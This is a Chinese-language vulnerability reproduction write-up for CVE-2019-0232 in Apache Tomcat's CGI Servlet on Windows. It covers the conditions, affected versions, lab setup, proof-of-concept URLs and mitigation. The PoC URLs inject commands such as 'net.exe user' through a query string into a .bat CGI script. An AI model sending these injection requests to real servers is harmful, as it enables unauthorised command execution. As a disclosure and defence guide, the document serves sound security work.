一、 漏洞簡介
漏洞編號和級別
CVE編號:CVE-2019-0232,危險級別:高危,CVSS分值:官方未評定。
漏洞概述
Apache Tomcat是美國阿帕奇(Apache)軟件基金會的一款輕量級Web應用服務器。該程序實現了對Servlet和JavaServer Page(JSP)的支持。
4月11日,Apache官方發布通告稱將在最新版本中修復一個遠程代碼執行漏洞(CVE-2019-0232),由於JRE將命令行參數傳遞給Windows的方式存在錯誤,會導致CGI Servlet受到遠程執行代碼的攻擊。
觸發該漏洞需要同時滿足以下條件:
1. 系統為Windows
2. 啟用了CGI Servlet(默認為關閉)
3. 啟用了enableCmdLineArguments(Tomcat 9.0.*及官方未來發布版本默認為關閉)
影響范圍
Apache Tomcat 9.0.0.M1 to 9.0.17
Apache Tomcat 8.5.0 to 8.5.39
Apache Tomcat 7.0.0 to 7.0.93
二、 漏洞復現
環境介紹
服務端:Windows Server 2008 R2 Enterprise
Apache Tomcat 8.5.39
JDK 1.8.0_181
漏洞環境搭建
java環境安裝
1、官網下載jdk安裝包
http://www.oracle.com/technetwork/java/javase/downloads/index.html
2、根據提示安裝jdk
3、配置路徑,我的電腦->屬性->高級系統設置->環境變量->ath 添加jdk和jre路徑
(環境變量配置失敗可以直接在setclasspath.bat的開頭手動聲明環境變量)
4、配置成功后如圖:
Apache Tomcat安裝
1、下載地址:(https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.39/)
2、直接解壓縮至你要安裝的目錄
3、安裝成功后,運行startup.bat啟動服務
4、訪問http://localhost:8080,如下圖啟動成功。
配置Apache Tomcat服務器(修改conf目錄配置文件,啟用CGI)
1、打開Tomcat安裝目錄的apache-tomcat-8.5.39\conf\web.xml修改如下配置,在默認情況下配置是注釋的。
2、同時還要修改web.xml以下配置,否則訪問cgi目錄會提示404。
3、打開Tomcat安裝目錄的apache-tomcat-8.5.39\conf\context.xml修改如下配置,添加privileged="true" 。
4、在apache-tomcat-8.5.39\webapps\ROOT\WEB-INF目錄新建一個cgi-bin文件夾,創建一個hello.bat的文件,內容如下:
5、至此,此漏洞環境搭建完成
漏洞利用
Poc如下:
http://localhost:8080/cgi-bin/hello.bat?& C%3A%5CWindows%5CSystem32%5Cnet.exe+user
http://localhost:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Ccalc.exe
漏洞復現成功。
三、 解決方案
Apache官方還未正式發布以上最新版本,受影響的用戶請保持關注,在官方更新后盡快升級進行防護。與此同時,用戶可以將CGI Servlet初始化參數enableCmdLineArguments設置為false來進行防護。
在Tomcat安裝路徑的conf文件夾下,使用編輯器打開web.xml,找到enableCmdLineArguments參數部分,添加如下配置:
重啟Tomcat服務,以確保配置生效。
四、 參考鏈接
https://blog.csdn.net/pruett/article/details/78146693
http://blog.nsfocus.net/cve-2019-0232/
https://github.com/pyn3rd/CVE-2019-0232
https://github.com/jas502n/CVE-2019-0232